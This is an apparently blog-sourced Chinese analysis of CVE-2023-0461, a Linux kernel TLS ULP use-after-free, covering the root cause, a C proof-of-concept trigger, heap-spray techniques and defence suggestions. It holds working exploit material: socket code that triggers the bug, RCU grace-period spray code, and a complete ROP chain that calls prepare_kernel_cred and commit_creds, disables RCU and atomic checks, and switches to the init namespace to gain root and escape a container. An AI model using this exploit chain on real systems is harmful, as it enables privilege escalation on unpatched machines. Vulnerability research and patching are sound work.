CVE-2023-0461 Linux 内核 UAF 漏洞分析与漏洞利用解读
字数 2266 2025-08-18 11:36:36

Linux内核CVE-2023-0461 UAF漏洞分析与利用技术详解

漏洞概述

CVE-2023-0461是Linux内核中一个存在于TCP ULP(Upper Layer Protocol)处理机制中的Use-After-Free漏洞。该漏洞源于内核在处理icsk->icsk_ulp_data指针时存在错误,导致多个socket对象可以共享同一个ULP数据指针而不进行引用计数管理,从而在释放其中一个socket时产生悬垂指针。

漏洞技术分析

漏洞根源

漏洞的核心在于icsk->icsk_ulp_data指针的拷贝和释放机制:

  1. 指针分配:通过tcp_set_ulp -> __tcp_set_ulp -> tls_init -> tls_ctx_create路径分配ULP数据

    ctx = kzalloc(sizeof(*ctx), GFP_ATOMIC);
    rcu_assign_pointer(icsk->icsk_ulp_data, ctx);
    
  2. 指针拷贝:当socket设置ULP后进入listen状态,其他socket通过connect请求连接时,新创建的sk对象会拷贝icsk->icsk_ulp_data指针

    tcp_v4_syn_recv_sock
      tcp_create_openreq_child
        inet_csk_clone_lock
          sk_clone_lock
            newsk = sk_prot_alloc(prot, priority, sk->sk_family)
            sock_copy(newsk, sk)
              memcpy(&nsk->sk_dontcopy_end, &osk->sk_dontcopy_end, 
                     prot->obj_size - offsetof(struct sock, sk_dontcopy_end));
    
  3. 结构关系

    • struct proto tcp_prot定义了.obj_size = sizeof(struct tcp_sock)
    • tcp_sock包含inet_connection_sock,后者包含icsk_ulp_data指针
    • 通过memcpy拷贝sk_dontcopy_end后面的成员时会拷贝icsk->icsk_ulp_data

漏洞触发条件

  1. 创建一个socket并设置TCP ULP为"tls"
  2. 使该socket进入listen状态
  3. 另一个socket发起connect请求
  4. 新创建的socket会拷贝原始socket的icsk_ulp_data指针
  5. 关闭其中一个socket会导致另一个socket持有悬垂指针

POC代码分析

int tls_ctx_alloc(int port) {
    struct sockaddr_in addr;
    socklen_t len = sizeof(addr);
    int tls, s;
    
    tls = socket(AF_INET, SOCK_STREAM, 0);
    s = socket(AF_INET, SOCK_STREAM, 0);
    
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = INADDR_ANY;
    addr.sin_port = htons(port);
    
    bind(s, &addr, sizeof(addr));
    listen(s, 0);
    connect(tls, &addr, sizeof(addr));
    accept(s, &addr, &len);
    
    setsockopt(tls, SOL_TCP, TCP_ULP, "tls", sizeof("tls"));
    return tls;
}

int clone_ulp(int sk, int port) {
    struct sockaddr_in addr;
    socklen_t len = sizeof(addr);
    int s, new;
    
    s = socket(AF_INET, SOCK_STREAM, 0);
    
    addr.sin_family = AF_UNSPEC;
    addr.sin_addr.s_addr = INADDR_ANY;
    addr.sin_port = htons(port);
    connect(sk, &addr, sizeof(addr));
    
    addr.sin_family = AF_INET;
    bind(sk, &addr, sizeof(addr));
    listen(sk, 0);
    connect(s, &addr, sizeof(addr));
    new = accept(sk, &addr, &len);
    
    return new;
}

// 使用示例
tls1 = tls_ctx_alloc(1111);
tls2 = clone_ulp(tls1, 1112);

执行后,tls1tls2会指向同一个icsk_ulp_data指针。

漏洞利用技术

简单模式(仅启用kmalloc-cg)

  1. 利用思路

    • 目标内核在kmalloc-cg-xxx中分配GFP_KERNEL_ACCOUNT标记的请求
    • 无法使用msg_msgsk_buff等常用对象占位
    • 使用fuse + setxattr方式占位
  2. 利用步骤

    • 占位后利用setsockopt往释放的tls_context(占位后的xattr内存)写入函数指针
    • fuse放行并读取xattr泄露内核基地址
    • 再次触发漏洞,修改tls_context的函数指针实现ROP

高级模式(启用CONFIG_KMALLOC_SPLIT_VARSIZE)

  1. 利用思路

    • tls_context的UAF转换为fqdir的UAF
    • 利用fqdir对象中的指针(fqdir->rhashtable.tbl)实现dyn-kmalloc-1k的UAF
    • user_key_payload占位将kmalloc-512的UAF转换为dyn-kmalloc-1024的UAF
    • Qdisc对象占位user_key_payload
    • 读取user_key_payload泄露地址
    • 释放key后重新占位控制Qdisc,劫持qdisc->enqueue实现ROP
  2. 关键技巧

    • 绕过RCU临界区检测:设置current->rcu_read_lock_nesting = 0
    • 绕过原子上下文检测:设置oops_in_progress = 1
  3. 完整ROP链示例

rop = (uint64_t *)&data[0x88];

// oops_in_progress = 1 (Bypass schedule while atomic)
rop[idx++] = kbase + 0xffffffff811481f3; // pop rdi ; jmp 0xffffffff82404440 (retpoline)
rop[idx++] = 1; // 1
rop[idx++] = kbase + 0xffffffff810fb7dd; // pop rsi ; ret
rop[idx++] = kbase + 0xffffffff8419f478; // oops_in_progress
rop[idx++] = kbase + 0xffffffff81246359; // mov qword ptr [rsi], rdi ; jmp 0xffffffff82404440 (retpoline)

// creds = prepare_kernel_cred(0)
rop[idx++] = kbase + 0xffffffff811481f3; // pop rdi ; jmp 0xffffffff82404440 (retpoline)
rop[idx++] = 0; // 0
rop[idx++] = kbase + 0xffffffff811139d0; // prepare_kernel_cred

// commit_creds(creds)
rop[idx++] = kbase + 0xffffffff811e3633; // pop rcx ; ret
rop[idx++] = 0; // 0
rop[idx++] = kbase + 0xffffffff8204933b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; jmp 0xffffffff82404440 (retpoline)
rop[idx++] = kbase + 0xffffffff811136f0; // commit_creds

// current = find_task_by_vpid(getpid())
rop[idx++] = kbase + 0xffffffff811481f3; // pop rdi ; jmp 0xffffffff82404440 (retpoline)
rop[idx++] = getpid(); // pid
rop[idx++] = kbase + 0xffffffff8110a0d0; // find_task_by_vpid

// current += offsetof(struct task_struct, rcu_read_lock_nesting)
rop[idx++] = kbase + 0xffffffff810fb7dd; // pop rsi ; ret
rop[idx++] = 0x46c; // offsetof(struct task_struct, rcu_read_lock_nesting)
rop[idx++] = kbase + 0xffffffff8107befa; // add rax, rsi ; jmp 0xffffffff82404440 (retpoline)

// current->rcu_read_lock_nesting = 0 (Bypass rcu protected section)
rop[idx++] = kbase + 0xffffffff811e3633; // pop rcx ; ret
rop[idx++] = 0; // 0
rop[idx++] = kbase + 0xffffffff8167104b; // mov qword ptr [rax], rcx ; jmp 0xffffffff82404440 (retpoline)

// task = find_task_by_vpid(1)
rop[idx++] = kbase + 0xffffffff811481f3; // pop rdi ; jmp 0xffffffff82404440 (retpoline)
rop[idx++] = 1; // pid
rop[idx++] = kbase + 0xffffffff8110a0d0; // find_task_by_vpid

// switch_task_namespaces(task, init_nsproxy)
rop[idx++] = kbase + 0xffffffff811e3633; // pop rcx ; ret
rop[idx++] = 0; // 0
rop[idx++] = kbase + 0xffffffff8204933b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; jmp 0xffffffff82404440 (retpoline)
rop[idx++] = kbase + 0xffffffff810fb7dd; // pop rsi ; ret
rop[idx++] = kbase + 0xffffffff83661680; // init_nsproxy (from parse_mount_options)
rop[idx++] = kbase + 0xffffffff81111c80; // switch_task_namespaces

// Back to userspace
rop[idx++] = kbase + 0xffffffff822010c6; // swapgs_restore_regs_and_return_to_usermode + 54
rop[idx++] = 0;
rop[idx++] = 0;
rop[idx++] = (uint64_t)&getroot;
rop[idx++] = usr_cs;
rop[idx++] = usr_rflags;
rop[idx++] = (uint64_t)(stack + 0x80000);
rop[idx++] = usr_ss;

漏洞挖掘方法论

  1. 关注对象中的指针域

    • 特别关注那些没有引用计数且会发生指针拷贝的指针域
    • 这些指针在删除时如果清理不当容易导致UAF
  2. 分析指针使用点

    • 寻找指针拷贝和指针释放的位置
    • 该漏洞的指针拷贝点隐藏在sk_clone_lock
  3. 检查指针释放后的处理

    • 指针释放后,其他对象中的相同指针是否被清空
    • 如果没有清空就会导致UAF

漏洞利用通用思路

  1. 对象转换技巧

    • 将漏洞对象转换为数据对象(xattr、user_key_payload等)
    • 用有指针的重叠对象占位数据对象
    • 实现将内核地址写入数据对象
    • 读取数据对象泄露地址
    • 再次释放和分配数据对象,控制重叠对象中的指针
  2. 间接UAF利用

    • 通过将tls_context的UAF转换为fqdir对象的UAF
    • 利用两个指向fqdir的指针,实现fqdir->rhashtable.tbl对象的间接UAF
    • 这种技术扩展了利用选择(从kmalloc-512dyn-kmalloc)
  3. RCU宽限期利用

    // Step 1.0 - Close the first socket
    // icsk_ulp_data (tls_context) is freed but still accessible from the second socket
    close(tls1);
    
    // Wait for the RCU grace period:
    // usually sleep(1) is enough, but for tls_context sometimes it takes longer
    waitfor(6, "Freeing ctx");
    
    // Step 1.1 - Close the second socket and before the icsk_ulp_data pointer (tls_context)
    // is freed again (during the RCU grace period) replace it with a fqdir object
    close(tls2);
    for(int i = 0; i < N_SPRAY_1; i++)
        task_set_state(t1[i], TASK_SPRAY_FQDIR);
    
    • close(tls1)后,tls2引用的是已释放的tls_context
    • close(tls2)后会把已释放的sk放到RCU链表
    • 通知堆喷线程开始分配fqdir占位已释放的tls_context
    • RCU宽限期到达,释放sk时会释放fqdir,从而将漏洞转换为fqdir的UAF

防御建议

  1. icsk->icsk_ulp_data指针添加引用计数管理
  2. sk_clone_lock中复制ULP数据时进行深拷贝而非指针拷贝
  3. 及时更新内核到修复版本
  4. 启用内核防护机制如KASAN、KASLR等

参考链接

  1. Linux Kernel Exploit: tls_context UAF
  2. Google Security Research Exploit
Linux内核CVE-2023-0461 UAF漏洞分析与利用技术详解 漏洞概述 CVE-2023-0461是Linux内核中一个存在于TCP ULP(Upper Layer Protocol)处理机制中的Use-After-Free漏洞。该漏洞源于内核在处理 icsk->icsk_ulp_data 指针时存在错误,导致多个socket对象可以共享同一个ULP数据指针而不进行引用计数管理,从而在释放其中一个socket时产生悬垂指针。 漏洞技术分析 漏洞根源 漏洞的核心在于 icsk->icsk_ulp_data 指针的拷贝和释放机制: 指针分配 :通过 tcp_set_ulp -> __tcp_set_ulp -> tls_init -> tls_ctx_create 路径分配ULP数据 指针拷贝 :当socket设置ULP后进入listen状态,其他socket通过connect请求连接时,新创建的sk对象会拷贝 icsk->icsk_ulp_data 指针 结构关系 : struct proto tcp_prot 定义了 .obj_size = sizeof(struct tcp_sock) tcp_sock 包含 inet_connection_sock ,后者包含 icsk_ulp_data 指针 通过 memcpy 拷贝 sk_dontcopy_end 后面的成员时会拷贝 icsk->icsk_ulp_data 漏洞触发条件 创建一个socket并设置TCP ULP为"tls" 使该socket进入listen状态 另一个socket发起connect请求 新创建的socket会拷贝原始socket的 icsk_ulp_data 指针 关闭其中一个socket会导致另一个socket持有悬垂指针 POC代码分析 执行后, tls1 和 tls2 会指向同一个 icsk_ulp_data 指针。 漏洞利用技术 简单模式(仅启用kmalloc-cg) 利用思路 : 目标内核在 kmalloc-cg-xxx 中分配 GFP_KERNEL_ACCOUNT 标记的请求 无法使用 msg_msg 、 sk_buff 等常用对象占位 使用 fuse + setxattr 方式占位 利用步骤 : 占位后利用 setsockopt 往释放的 tls_context (占位后的xattr内存)写入函数指针 fuse放行并读取xattr泄露内核基地址 再次触发漏洞,修改 tls_context 的函数指针实现ROP 高级模式(启用CONFIG_ KMALLOC_ SPLIT_ VARSIZE) 利用思路 : 将 tls_context 的UAF转换为 fqdir 的UAF 利用 fqdir 对象中的指针( fqdir->rhashtable.tbl )实现 dyn-kmalloc-1k 的UAF 用 user_key_payload 占位将 kmalloc-512 的UAF转换为 dyn-kmalloc-1024 的UAF 用 Qdisc 对象占位 user_key_payload 读取 user_key_payload 泄露地址 释放key后重新占位控制 Qdisc ,劫持 qdisc->enqueue 实现ROP 关键技巧 : 绕过RCU临界区检测:设置 current->rcu_read_lock_nesting = 0 绕过原子上下文检测:设置 oops_in_progress = 1 完整ROP链示例 : 漏洞挖掘方法论 关注对象中的指针域 : 特别关注那些没有引用计数且会发生指针拷贝的指针域 这些指针在删除时如果清理不当容易导致UAF 分析指针使用点 : 寻找指针拷贝和指针释放的位置 该漏洞的指针拷贝点隐藏在 sk_clone_lock 中 检查指针释放后的处理 : 指针释放后,其他对象中的相同指针是否被清空 如果没有清空就会导致UAF 漏洞利用通用思路 对象转换技巧 : 将漏洞对象转换为数据对象(xattr、user_ key_ payload等) 用有指针的重叠对象占位数据对象 实现将内核地址写入数据对象 读取数据对象泄露地址 再次释放和分配数据对象,控制重叠对象中的指针 间接UAF利用 : 通过将 tls_context 的UAF转换为 fqdir 对象的UAF 利用两个指向 fqdir 的指针,实现 fqdir->rhashtable.tbl 对象的间接UAF 这种技术扩展了利用选择(从 kmalloc-512 到 dyn-kmalloc ) RCU宽限期利用 : close(tls1) 后, tls2 引用的是已释放的 tls_context close(tls2) 后会把已释放的sk放到RCU链表 通知堆喷线程开始分配 fqdir 占位已释放的 tls_context RCU宽限期到达,释放sk时会释放 fqdir ,从而将漏洞转换为 fqdir 的UAF 防御建议 对 icsk->icsk_ulp_data 指针添加引用计数管理 在 sk_clone_lock 中复制ULP数据时进行深拷贝而非指针拷贝 及时更新内核到修复版本 启用内核防护机制如KASAN、KASLR等 参考链接 Linux Kernel Exploit: tls_ context UAF Google Security Research Exploit